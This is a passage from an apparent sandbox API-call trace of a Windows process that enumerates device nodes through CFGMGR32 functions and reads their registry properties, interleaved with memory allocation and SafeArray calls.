CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0204.757] malloc (_Size=0x14) returned 0x20abc281b00 [0204.757] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281b00, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281b00, pulLength=0x2dc22fd3f8) returned 0x0 [0204.757] free (_Block=0x20abc281b00) [0204.757] malloc (_Size=0x48) returned 0x20abc27cf80 [0204.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x35d03f29, dwHighDateTime=0x1d9eb0c)) [0204.757] SetEvent (hEvent=0x248) returned 1 [0204.760] malloc (_Size=0x18) returned 0x20abc281e60 [0204.760] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0204.760] free (_Block=0x20abc281e60) [0204.760] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c9f0 [0204.760] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0204.760] SafeArrayGetLBound (in: psa=0x20abba805d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0204.761] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0204.761] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0204.761] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0204.761] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0204.761] SafeArrayGetElemsize (psa=0x20abba805d0) returned 0x8 [0204.761] SafeArrayGetElement (in: psa=0x20abba805d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0204.761] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402310, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0204.762] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0204.762] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c9f0) returned 1 [0204.763] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.763] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.767] malloc (_Size=0x18) returned 0x20abc281a00 [0204.768] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0204.996] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35f3feec, dwHighDateTime=0x1d9eb0c)) [0204.996] SetEvent (hEvent=0x248) returned 1 [0204.998] SetEvent (hEvent=0x248) returned 1 [0204.998] free (_Block=0x20abc27cb20) [0204.999] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0204.999] malloc (_Size=0x48) returned 0x20abc27cb20 [0204.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35f3feec, dwHighDateTime=0x1d9eb0c)) [0204.999] SetEvent (hEvent=0x248) returned 1 [0205.000] SetEvent (hEvent=0x248) returned 1 [0205.001] free (_Block=0x20abc27cb20) [0205.001] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.002] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35f3feec, dwHighDateTime=0x1d9eb0c)) [0205.002] SetEvent (hEvent=0x248) returned 1 [0205.003] SetEvent (hEvent=0x248) returned 1 [0205.004] free (_Block=0x20abc27cb20) [0205.004] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.004] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35f3feec, dwHighDateTime=0x1d9eb0c)) [0205.005] SetEvent (hEvent=0x248) returned 1 [0205.009] SetEvent (hEvent=0x248) returned 1 [0205.009] free (_Block=0x20abc27cf80) [0205.009] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.011] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35f6ac81, dwHighDateTime=0x1d9eb0c)) [0205.012] SetEvent (hEvent=0x248) returned 1 [0205.013] SetEvent (hEvent=0x248) returned 1 [0205.013] free (_Block=0x20abc27cf80) [0205.013] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0205.013] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x35f6ac81, dwHighDateTime=0x1d9eb0c)) [0205.014] SetEvent (hEvent=0x248) returned 1 [0205.016] SetEvent (hEvent=0x248) returned 1 [0205.016] free (_Block=0x20abc27cf80) [0205.016] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0205.017] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x35f6ac81, dwHighDateTime=0x1d9eb0c)) [0205.017] SetEvent (hEvent=0x248) returned 1 [0205.018] SetEvent (hEvent=0x248) returned 1 [0205.018] free (_Block=0x20abc27cf80) [0205.019] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0205.019] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35f6ac81, dwHighDateTime=0x1d9eb0c)) [0205.019] SetEvent (hEvent=0x248) returned 1 [0205.022] SetEvent (hEvent=0x248) returned 1 [0205.022] free (_Block=0x20abc27cf80) [0205.022] CM_Get_Device_IDA (in: dnDevInst=0x29, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2934&SUBSYS_11001AF4&REV_03\\3&11583659&0&20") returned 0x0 [0205.023] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x35f8c3b7, dwHighDateTime=0x1d9eb0c)) [0205.023] SetEvent (hEvent=0x248) returned 1 [0205.024] SetEvent (hEvent=0x248) returned 1 [0205.024] free (_Block=0x20abc27cf80) [0205.025] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0205.025] malloc (_Size=0x124) returned 0x20abc286890 [0205.025] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0205.026] free (_Block=0x20abc286890) [0205.026] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x35f8c3b7, dwHighDateTime=0x1d9eb0c)) [0205.026] SetEvent (hEvent=0x248) returned 1 [0205.026] malloc (_Size=0x18) returned 0x20abc281e60 [0205.027] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0205.027] free (_Block=0x20abc281e60) [0205.027] malloc (_Size=0x18) returned 0x20abc281960 [0205.027] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0205.027] free (_Block=0x20abc281960) [0205.027] malloc (_Size=0x18) returned 0x20abc2819c0 [0205.027] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0205.027] free (_Block=0x20abc2819c0) [0205.027] malloc (_Size=0x18) returned 0x20abc281c60 [0205.027] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0205.027] free (_Block=0x20abc281c60) [0205.027] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0205.027] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0205.027] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0205.027] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0205.027] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0205.027] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0205.027] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0205.027] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0205.028] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0205.028] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba6add0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.028] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba6add8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.028] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba6ade0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.028] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba6ade8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.029] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0205.030] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0205.030] SetEvent (hEvent=0x248) returned 1 [0205.031] free (_Block=0x20abc27cf80) [0205.031] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0205.031] malloc (_Size=0x10e) returned 0x20abc286890 [0205.031] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0205.032] free (_Block=0x20abc286890) [0205.032] malloc (_Size=0x48) returned 0x20abc2a88c0 [0205.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x35f8c3b7, dwHighDateTime=0x1d9eb0c)) [0205.033] SetEvent (hEvent=0x248) returned 1 [0205.033] malloc (_Size=0x18) returned 0x20abc281f60 [0205.033] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0205.033] free (_Block=0x20abc281f60) [0205.033] malloc (_Size=0x18) returned 0x20abc281ae0 [0205.034] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.034] free (_Block=0x20abc281ae0) [0205.034] malloc (_Size=0x18) returned 0x20abc282060 [0205.034] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.034] free (_Block=0x20abc282060) [0205.034] malloc (_Size=0x18) returned 0x20abc281fc0 [0205.034] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.034] free (_Block=0x20abc281fc0) [0205.034] malloc (_Size=0x18) returned 0x20abc281c60 [0205.034] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.035] free (_Block=0x20abc281c60) [0205.035] malloc (_Size=0x18) returned 0x20abc281e80 [0205.035] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0205.035] free (_Block=0x20abc281e80) [0205.035] malloc (_Size=0x18) returned 0x20abc281b20 [0205.035] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0205.035] free (_Block=0x20abc281b20) [0205.035] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0205.035] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0205.035] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0205.035] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0205.035] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79730 [0205.036] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0205.036] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0205.036] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0205.036] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0205.036] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.037] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80748, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.257] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80750, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.257] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80758, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.257] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80760, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.257] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80768, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.257] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80770, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0205.258] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79730) returned 1 [0205.258] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0205.259] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.259] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.262] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.263] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.263] malloc (_Size=0x18) returned 0x20abc281ea0 [0205.263] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.273] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x361ee885, dwHighDateTime=0x1d9eb0c)) [0205.274] SetEvent (hEvent=0x248) returned 1 [0205.277] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.277] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.282] malloc (_Size=0x18) returned 0x20abc281c60 [0205.282] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.282] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x361ee885, dwHighDateTime=0x1d9eb0c)) [0205.282] SetEvent (hEvent=0x248) returned 1 [0205.286] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.286] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.286] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.287] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.287] GetProcAddress (hModule=0x7ffb1ced0000, 